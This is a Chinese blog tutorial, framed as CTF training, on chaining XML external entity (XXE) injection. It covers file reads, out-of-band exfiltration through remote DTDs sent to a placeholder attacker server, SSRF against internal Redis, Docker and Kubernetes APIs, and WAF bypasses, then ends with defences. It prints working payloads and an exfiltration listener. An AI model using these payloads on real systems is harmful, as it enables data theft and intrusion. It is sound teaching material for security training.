XXE攻击链实战：从文件读取到SSRF与RCE的完整利用指南-代码聚汇网

XXE攻击链实战：从文件读取到SSRF与RCE的完整利用指南

贝叶斯蝴蝶·2026-08-29·阅读 23 GEO检测（免费）

XXEXML外部实体注入SSRF

|难度：普通|阅读约 34 分钟

很多人觉得XXE是个老漏洞，实战中越来越少见了。但在CTF赛场上，它反而是出题人最喜欢拿来当压轴题的切入点之一。原因很简单：XXE的杀伤力从来不在"能读文件"这一层，而在它能串起一整条攻击链——从任意文件读到SSRF，从SSRF打到内网服务，再从内网服务一路打通到命令执行。一道题如果能让你把这些链路全部跑通，它的区分度一下子就上来了。

这篇文章不是XXE入门扫盲，而是面向想在比赛里冲刺高分、或者做安全测试时想把XXE打深打透的选手。我会从压轴题的视角出发，把常见的利用姿势、盲打战术、RCE路径、WAF绕过思路逐一拆开讲，每个环节都会带上实际构造过的payload和踩坑记录。所有内容仅用于授权范围内的靶场与CTF训练，拿真实业务环境练手之前，记得先拿到授权。

1. 为什么"读文件"的XXE能当压轴题：从信息泄露到任意代码执行的难度阶梯

1.1 一个老漏洞为什么还在被反复当考点

先说个反直觉的事实：XML解析器的"外部实体"设计初衷是方便文档复用，让XML文件能引用其他文件内容或者远程资源。问题在于，很多解析器在默认配置下会无条件地处理这些外部实体，而不是按"仅本地可信文档才加载"的安全策略来约束。

攻击者只要能让目标程序解析一段自己可控的XML，比如上传一个XML文件、POST一个SOAP请求、提交一个docx文档，就能利用外部实体做两件事：让服务器读本地文件、让服务器发起任意网络请求。前一个是文件读取，后一个是SSRF，这两个能力凑在一起，题目难度就直接从20分跳到了80分。

CTF压轴题爱选XXE，本质上是看中了它的能力边界足够宽。同样是注入点，SQL注入最终目标是数据，命令注入最终目标是命令执行，而XXE的终点没有固定形态——它取决于运行环境里有哪些协议、哪些服务、哪些可利用的解析器特性。出题人可以在这一条链路上设计非常多的关卡。

1.2 从低危到RCE的五档难度阶梯

要理解压轴题，先得把XXE的难度阶梯看明白。我自己按CTF比赛里的常见出题方式，把它分成五档：

档次	考察点	典型表现	难度
第一档	常规文件读取	有回显，直接读/etc/passwd或源码	入门
第二档	无回显盲打	响应固定，需要OOB带外通道	进阶
第三档	协议与解析器差异	PHP伪协议、Java协议、expect	进阶偏难
第四档	SSRF与漏洞联动	打内网服务、数据库、容器管理接口	困难
第五档	WAF/过滤器对抗	关键字过滤、协议白名单、DTD禁用	困难偏压轴

为什么压轴题往往集中在第四、第五档？因为前两档是选手基本功，如果一道压轴题只用file协议读个文件，那它配不上"压轴"二字。真正拉分的地方在于：出题人会想办法封死你的常规路径，逼你去思考"这个解析器还能加载什么""这个环境里还有什么服务可以被触碰"。

我见过很多选手在第一档、第二档很熟练，但一遇到"文件读了但没内容""请求发出去了但数据回不来""协议被过滤了"就开始卡壳。本质原因就是只背了payload模板，没理解解析器处理外部实体的完整流程。后面几个章节我会把这条链路每个环节的实际打法铺开讲。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 解析器的协议缺口：XXE读取文件与内网探测的几种高价值姿势

2.1 经典文件读取，但怎么读得比默认更远

先复习一个最小可用payload，这是后续所有姿势的地基：

xml复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

如果目标解析器支持外部实体解析，服务器响应里就会带上/etc/passwd的内容。注意SYSTEM后面跟的协议决定你能干什么。file://是文件读取，http://是SSRF，php://filter可以拿源码，expect://直接就是命令执行的前奏。

在CTF里，单纯读/etc/passwd已经没什么区分度了。真正有价值的是读源码和配置文件。拿PHP站点举例，用php://filter读取index.php的base64编码内容，避免源码里的特殊字符破坏XML结构：

xml复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>

拿到源码后，就能看到数据库凭据、密钥、内网地址、框架版本，这些信息全是后续打点的基础。读文件本身不是目的，它是在帮整个攻击链路做信息收集。

需要注意的是，文件路径不能盲猜。比赛中常见的信息收集顺序是：先读/etc/passwd确定系统用户，再读Web服务配置（nginx.conf、apache配置、vhost文件）确定站点根目录，然后读业务源码。如果题目指定了容器环境，Dockerfile、docker-compose.yml、初始化脚本这些文件也值得优先尝试。

2.2 不同语言与解析器的协议差异，决定了攻击面的宽度

同一个XML，交给不同的解析器处理，结果可能完全不同。理解这个差异，比背100个payload都有用。

在PHP环境里，默认的libxml不支持expect协议，但如果装了expect扩展，expect://id就能直接执行系统命令。Java环境则多出jar://、netdoc://、gopher://等协议，尤其是gopher协议可以构造任意TCP数据包，攻击面非常大。Python的xml库默认不加载外部实体，但有些开发者用lxml且允许resolve_entities时也会出问题。

我在比赛里判断目标环境的经验是：先试file:///etc/passwd确认存在XXE，再试php://filter或expect://确认是不是PHP，然后根据返回差异判断解析器类型。比如PHP下php://filter能正常返回内容，Java下遇到jar://或gopher://才可能有反应，这些特征都是在实际测试中积累出来的。

协议差异还直接决定了漏洞的终局。同样是XXE，PHP环境往往走向SSRF和伪协议组合，Java环境则更容易转向gopher打内网。压轴题经常把技术栈作为"隐藏谜题"，你要先判断出语言和中间件，才能选对后续利用方式。

2.3 参数实体与嵌套：绕过"你这么写就废了"的简单过滤

比赛里很少让你直接一段标准payload打到底，出题人往往会挡掉ENTITY、file、http这些关键字。这时候可以借道参数实体（Parameter Entity）来绕。

参数实体和普通实体的区别在于，它只能在DTD内部使用，并且用百分号声明。它的价值是让你在DTD里动态构造一个完整的payload，再利用外部DTD加载来执行。举个例子，如果黑名单过滤了file://关键字，但你还能加载外部DTD，那就可以把真正的payload放在自己服务器上：

xml复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://your-server/evil.dtd">
  %remote;
]>
<foo>&xxe;</foo>

evil.dtd的内容：

dtd复制<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % exec "<!ENTITY xxe SYSTEM 'http://your-server/collect?data=%payload;'>">
%exec;

这里%remote先加载远程DTD，然后%payload去读本地文件，再通过%exec构造一个访问你VPS的请求，把读取内容拼接到URL参数里带出来。整个过程之所以能绕过黑名单，是因为file://字符串不在主XML中，而在外部DTD里，程序如果只检查提交的XML内容就拦不到。

参数实体还有一个重要特性要注意：它不能在内部子集里引用另一个普通实体，只能在外部子集（外部DTD）里玩。我早期经常踩这个坑，本地测试没问题，放到题目里就报错，最后才发现是"内部子集引用参数实体后无法再定义实体"的限制。实战中凡是涉及外部DTD加载的，我建议一律按"参数实体定义在本地DTD、利用逻辑放在远程DTD"的方式设计，稳定很多。

2.4 报错注入：让解析器把文件内容"吐"在错误信息里

盲打场景里还有一种非常巧妙的思路，就是利用解析器的报错机制，让文件内容出现在错误回显中。

思路核心是构造一个必然报错的外部实体，并把文件内容拼进实体名或Doctype声明里。有些解析器在报错时会连带打印出当前解析到的实体内容，于是文件内容就跟着错误信息一起返回了。

dtd复制<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY &#x25; trigger SYSTEM 'http://nonexistent/%payload;'>">
%error;

这个payload尝试访问一个不存在的URL，而URL路径里拼了文件内容，解析器报错时可能把完整URL带出来。虽然不同解析器的报错行为差别很大，但在目标环境对异常信息不屏蔽时，这个手法比OOB更快，它不需要你有独立域名或者VPS，直接看响应包就能拿数据。

不过这个技巧的稳定性一般，有的解析器只在特定条件下回显错误细节，有的则会把错误细节全部吞掉。我的用法是：优先尝试有回显的直接引用；回显被屏蔽时，先试报错注入；报错注入失败再上OOB。按这个优先级能省不少时间，尤其在比赛前几个小时精力消耗很大的情况下。

3. 没有回显怎么办：盲打XXE的OOB链路与特殊字符处理

3.1 判断是否进入盲打的几个信号

不是所有XXE都会把文件内容直接怼在响应里。有的程序解析完XML后只返回固定值，比如"提交成功"；有的把解析结果经过处理再输出，比如只取某个节点；还有的干脆把外部实体解析的结果丢弃，只保留本地逻辑回显。当你发现无法直接看到实体内容时，就进入盲打了。

盲打的第一步不是急着搭OOB，而是确认两件事：第一，外部实体是否真的执行了；第二，服务器是否具备出网访问能力。你可以先构造一个只访问自己VPS的普通实体请求，如果VPS能收到HTTP记录，说明外部实体解析是通的、出网也没问题，接下来再考虑数据外带。

3.2 OOB数据的完整外带设计

OOB的常见做法是借助DNS或HTTP把数据从目标服务器带到你控制的机器。HTTP带外最实用，数据直接出现在请求URI里，查看方便，也不需要额外搭DNS解析平台。

具体流程分三步：

第一步，在你控制的VPS上放一个恶意DTD，内容如下：

dtd复制<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % chain "<!ENTITY &#x25; send SYSTEM 'http://your-server:8080/?data=%payload;'>">
%chain;

第二步，构造主XML加载这个外部DTD，同时触发%send实体，让目标服务器向你的VPS发起HTTP请求，路径中携带文件内容。

xml复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://your-server:8080/evil.dtd">
  %remote;
]>
<foo>&send;</foo>

第三步，在VPS上用nc -lvp 8080或者一个简单的Python HTTP服务监听流量，就能在请求行里看到读取到的数据。

代码示例：

python复制from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("oob.log", "a") as f:
            f.write(self.path + "\n")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok")

HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()

这里有个关键细节：/etc/passwd文件里有换行符，直接放到URL路径里会导致请求被截断或编码异常，数据不完整。最常见的方法是先用php://filter把目标文件base64编码再外带，这样内容里只有字母数字和=，绝对不会坏。得到base64后本地解码即可。

3.3 实体内容里带特殊字符的坑

外带失败有一半原因出在特殊字符上。我踩过的坑包括：文件内容里有#导致URL片段被截断、有空格导致HTTP请求行非法、有中文导致编码不一致、有&导致XML解析报错等等。这也是为什么盲打场景我几乎无脑选base64编码再外带。

另外，如果你读的文件特别大，比如数据库备份文件，单个实体承载内容可能触发解析器的长度限制或实体扩展限制。处理办法是分段读取，或者先读文件列表、再逐步读取具体文件，不要指望一次外带传完。

3.4 借道文件上传实现本地回显

盲打并非只能依赖OOB。很多题目会嵌入交互式的文件处理流程，比加用户上传头像、上传文档、上传SVG图片，解析XML的起点是这些文件，但文件内容又在同一请求里被展示回显。这时候可以构造一个带恶意实体的SVG或者docx，让解析器渲染它时触发XXE，同时解析结果直接出现在页面上，不需要OOB。

SVG的例子：

svg复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

如果网站支持上传SVG并在线预览，文件内容会在渲染后的SVG里直接显示。docx的原理也是一样，Word文档本质是ZIP包，里面包含多个XML文件，只要把其中一个XML替换成恶意实体定义，上传后通过网站自带的文档解析功能就能触发。利用这些入口，即使程序没有直接提供XML解析接口，也能把XXE打进去——这是压轴题非常喜欢藏的一个"触发点"，因为选手需要自己找到"能被XML解析器处理的输入点"。

4. 从XXE到RCE：协议联动与内网服务打击的完整链路

4.1 一条命令直达：expect协议的使用前提

如果目标PHP环境启用了expect扩展，XXE到RCE就是一行payload的事：

xml复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>

但expect扩展在默认PHP里非常少见，大多是有人特意装的，或者运行在某种精简容器里。所以实战中不要一上来就赌expect，而是先用phpinfo或其他方式判断扩展列表。如果有php://filter能读到源码，甚至可以从源码里看到扩展加载情况，再决定是否走expect。

比赛里expect出现的场景，往往是出题人故意搭了一个"重业务"环境，安装了很多第三方扩展，导致解析器带上了额外能力。这种题看着像综合题，实际就是考察你有没有对所有协议保持敏感。

4.2 SSRF链路：XXE作为内网探测入口

更多情况下，XXE不会直接给你命令执行，而是给你一个SSRF跳板。文件协议读到的信息（内网IP、网段、服务端口、配置文件里的连接串）会告诉你应该往哪里打。

用XXE做内网探测的思路很简单，把实体指向http://192.168.x.x:port/，观察响应差异判断端口是否开放：

xml复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://172.16.0.10:8080/">
]>
<foo>&xxe;</foo>

回显内容不同、错误信息不同、响应时间不同，都可能是端口状态的表征。响应时间尤其好用，开放端口的服务通常会返回一些协议内容，关闭端口往往快速拒绝或超时。如果程序对解析结果有固定回显，那就要借助响应时间做粗略判断，比如设置实体指向不同端口，对比每个请求的耗时。

4.3 打内网服务：Redis、Docker与云原生接口

当你确认某个内网端口开放后，接下来的作战目标就是识别并攻击服务。几个比赛高频目标：

第一是Redis未授权。如果内网某台机器开了6379且无认证，可以用gopher协议向Redis发送命令。先写计划任务或SSH公钥，再触发写入，把命令执行的路径打通。不过写文件这条路径在容器环境里往往受权限限制，更多时候是打主从复制漏洞，或者利用Redis写WebShell。

第二是Docker API。很多实验环境会监听2375端口且不做认证，通过http://目标:2375/containers/create等API接口，可以直接创建容器并把宿主机的目录挂载进去，等于拿到了宿主机文件系统的读写权限。

第三是Kubernetes API Server。如果题目环境是云原生的，6443端口暴露的API可能允许你读取Pod信息甚至创建特权Pod。这类场景需要结合ServiceAccount token、Namespace列表一步步摸。

一个比较稳妥的打法是：先用XXE读取应用配置文件和环境变量，找数据库账号密码或内网服务凭据；再用SSRF探测目标端口；最后针对具体服务选武器。比赛里很多队伍的痛点不在"不知道Redis漏洞"，而在"没把XXE和内网探测连起来看"。XXE给你的是第一发子弹，你要想清楚第二发、第三发打哪里。

4.4 从文件读取到命令执行的完整出题链示例

为了更直观，我模拟一道压轴题的设计逻辑：

Web应用提供一个JSON接口，其中某个字段被拼接到XML模板里解析，存在XXE；
直接读/etc/passwd有回显，但是file://被限制只能读/var/www/html下部分文件；
通过php://filter读到config.php，拿到数据库账号、Redis地址和本机内网IP；
发现Redis无认证且允许写文件，于是用XXE打SSRF，构造Redis命令写入一个PHP WebShell；
通过WebShell执行命令，绕过disable_functions直接弹Shell。

这道题如果拆开来看，每一环都不难：XXE读源码、SSRF打Redis、Redis写文件。但合在一起，它是一个完整的攻击链。压轴题要考察的正是把这个链路串起来的能力——先收集信息，再选突破口，最后打穿。

5. WAF与过滤器视角：出题人埋的坑和对应的拆法

5.1 出题人最常做的四类过滤

压轴题不可能让你只用标准payload通关。比赛里常见的过滤策略有四种：

一是关键字黑名单。过滤SYSTEM、ENTITY、DOCTYPE、file、http等字符串。这种策略最容易被参数实体+外部DTD绕过，因为核心payload不在提交的XML里。

二是协议白名单。用解析器配置只允许http协议，禁止file、expect、gopher等。这种策略能挡住文件读取和RCE，但挡不住带外数据外带，因为HTTP协议本身可以用来传数据。

三是限制外部连接。在请求出口层面对外网IP做限制，只允许访问内网或者完全不给出网。这种环境下OOB基本失效，需要用报错注入或者本地回显。

四是直接禁用DTD。这是最彻底的防御，外部实体和内部实体都无法声明，XXE攻击面直接消失。但如果业务代码里用了XInclude、XML Schema等特性，依然可能存在其他利用入口。

5.2 绕过思路：外部DTD、XInclude与编码绕过

碰到关键字过滤，最直接的方案是外部DTD。上一章的参数实体绕过，可以把file://字符串藏在外网文件里，主XML只声明一个简单的远程实体引用，就能绕开大部分黑名单。

如果DOCTYPE被禁了，别急着放弃，还有XInclude。XInclude允许在XML文档中包含其他文件内容，它不需要DTD声明，而且某些解析器默认支持。构造示例：

xml复制<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

这段XML没有DOCTYPE，没有ENTITY，但同样能读取文件。很多解析器在默认配置下XInclude是开启的，出题人如果不了解这个特性，过滤只会封DTD，不会封XInclude。

编码绕过也值得留一手。有些WAF会检查请求体里的关键字，但解析器会先做编码转换。比如把整个XML用UTF-16编码提交，WAF按UTF-8解码时看不到SYSTEM，而XML解析器按UTF-16解码后却能正常识别。我遇过好几道题，过滤规则写得很死，但只对UTF-8的请求体有效，一个编码转换就绕过去了。

5.3 防御视角：真正能挡住XXE的措施

从攻防对抗角度来看，过滤黑名单只是"自我安慰式防御"，因为它永远跟不上攻击者玩法的变化。真正有效的防御只有几个方向：

一是禁止DTD。把XML解析器的external-general-entities和external-parameter-entities设置成false，同时禁止DOCTYPE，这是成本最低、效果最稳的方案。

二是如果业务必须用DTD，就把实体解析限制在本地白名单资源，外部资源一律拒绝。

三是升级解析器到最新版本。很多XXE利用依赖解析器旧版特性，比如某些版本的libxml存在实体展开问题，新版本修复后攻击成本会大幅提高。

四是给服务和请求出口加白名单部署，避免应用服务器直接触达内网敏感端口。这个措施不是修漏洞，而是降低漏洞被利用后的危害。

在CTF里讨论防御视角的价值在于：你能更精确地判断出题人的过滤边界。如果发现DTD被禁了、外部实体被禁了，那就转XInclude；如果协议被限了，就想办法找gopher或其他协议组合；如果外带断了，就考虑本地回显。理解防御方的设置逻辑，反向定位可利用的缝隙，这比盲目堆payload有效得多。

5.4 一个绕过流程的复盘案例

以一道模拟题为例：目标是PHP站点，提交XML后页面固定返回"success"，服务器要求外网不能直接访问，出网也被限制，请求体里出现了file、SYSTEM、DOCTYPE等关键字会直接拦截。

我的绕过流程是这样的：

先用UTF-16编码提交最简单的请求，确认过滤规则在编码转换后是否还能生效。如果UTF-16请求没有被拦截，说明WAF按UTF-8检查，编码绕过成立；
用php://filter读到主页源码，确定站点根目录，找到数据库配置和框架版本；
用SSRF方式访问本机127.0.0.1的敏感端口，比如2375或6379；
打Redis写WebShell或者用Docker API创建恶意容器，最终拿到命令执行。

这个流程里，前两步可能被协议过滤挡住，但如果挡不住编码、挡不住SSRF，那题目很快就会被拆掉。出题人不会让你这么容易，所以真实的压轴题往往会埋两个以上的"反向设计"：禁用DTD但保留XInclude，或者允许读文件但文件内容被转成不可读的密文。遇到这种情况，就需要借助前面说的报错注入、OOB以及多种协议组合，见招拆招。

6. CTF训练建议与容易卡壳的细节

6.1 训练平台与靶场选择

想要把XXE打熟练，光看文章是不够的，得动手搭靶场。本地用Docker起一个老版本的PHP+Apache环境，写一个能解析XML的接口，自己给自己出题就是一种很高效的训练方式。

对刚入门的选手，我建议按这样的顺序练：

第一周：本地搭环境，把标准payload跑通，熟悉file/http/php协议的区别；
第二周：去掉回显，自己搭VPS做OOB，把文件内容完整带出来；
第三周：加过滤规则，练习外部DTD、参数实体、XInclude、编码绕过；
第四周：模拟内网环境，用XXE打Redis、MySQL或者一个简单的管理接口，跑通整个SSRF链路。

在线训练时，注意选择标准CTF平台和公开靶场，不要拿未授权的真实站点练手。很多优质比赛在结束后会公开题目镜像，这些是很好的学习资源。

6.2 工具准备与效率技巧

XXE题目涉及大量请求构造与日志分析，手搓工具虽然能加深理解，但效率上还是建议用顺手的安全工具。Burp Suite负责拦截和改包，自己写Python脚本负责批量构造payload和收发请求，VPS上的监听脚本负责接收OOB数据，一套组合拳下来，赛道中间能节省大量体力。

一个我自己常用的做法是：把OOB监听脚本做成一个后台服务，自动把收到的请求存成文件、自动解码base64、自动按时间戳归档。这样比赛时只需要盯着终端看最新内容，不用频繁切窗口。脚本很简单，几十行Python就能搞定。

6.3 我踩过的三个典型细节坑

第一个坑是DOCTYPE位置。XML标准要求DOCTYPE必须出现在XML声明之后、根元素之前。如果你在根元素内部偷偷塞一个DOCTYPE，绝大多数解析器会直接报错。但有些解析器比较宽容，不会报错而是静默忽略，导致payload看起来"没执行"，其实是被忽略了。

第二个坑是参数实体与普通实体的作用域。前面提过，参数实体在内部子集里不能直接引用另一个参数实体来构造新实体，只能在外部子集里做。很多人从网上复制payload时没注意环境，拿到本地一测就废。

第三个坑是服务器出网白名单。很多靶场会在出口层面封掉外网IP，导致OOB信号发出去但外面收不到。判断方法很简单：先不读文件，只让目标服务器访问你VPS的根路径，如果能收到任何请求，说明出网通畅，再考虑外带数据。如果连基础连通都没有，请优先考虑报错注入或本地回显，不要死磕OOB。

6.4 与新方向结合：AI安全题目里的XXE

最近两年CTF开始加入AI安全方向的题目，XXE这类经典Web漏洞在新场景中仍然有位置。常见出题思路是：Web应用提供模型训练服务或模型在线体验功能，用户上传数据文件，后台解析格式并处理。如果上传的文件是XML格式，就存在XXE的可能；如果目标是读取模型文件、训练数据集、配置文件，那XXE读文件的路径依然适用。

这提示我们一个事实：漏洞本身不会过时，过时的是只会用固定payload的思维方式。把XXE理解成"服务器替我去读资源、发请求"的能力后，不管前端是传统Web表单、文件上传、文档解析还是AI交互界面，你都能快速识别出可利用的入口。

我在实际打题和做安全测试中最大的体会是：XXE这种漏洞，最难的不是某个payload怎么写，而是能否在信息不完整的情况下，靠少量反馈不断修正自己的假设。读文件失败、外带失败、命令执行失败，每一条"失败"其实都在告诉你环境的边界。只要愿意沉下心观察响应差异、分析错误码、确认协议支持范围，再复杂的压轴题也能一步步拆穿。希望这篇从实战视角写的解析，能让你在下次遇到XXE时，不再只在"读文件"这个层面打转，而是真正有能力把一条漏洞链走到底。